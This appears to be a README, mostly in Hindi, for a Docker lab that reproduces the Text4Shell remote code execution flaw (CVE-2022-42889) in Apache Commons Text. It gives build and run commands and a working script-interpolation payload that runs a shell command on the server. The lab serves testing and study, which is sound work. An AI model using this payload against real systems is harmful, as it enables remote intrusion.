joshbnewton31080/cve-2022-42889-text4shellDocker-आधारित प्रयोगशाला वातावरण जो Apache Commons Text में Text4Shell (CVE-2022-42889) रिमोट कोड निष्पादन कमजोरी को पुन: उत्पन्न और परीक्षण करने के लिए है।
mvn clean install
docker build --tag=text4shell .
docker run -p 80:8080 text4shell
http://localhost/text4shell/attack?search=<anything>
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
आप dns या url उपसर्गों का उपयोग करके भी प्रयास कर सकते हैं।
कंटेनर आईडी प्राप्त करें
docker container ls
docker exec -it <container_id> bash
/tmp निर्देशिका में foo नाम की एक फ़ाइल बनी हुई दिखनी चाहिए):ls /tmp/
docker container stop <container_id>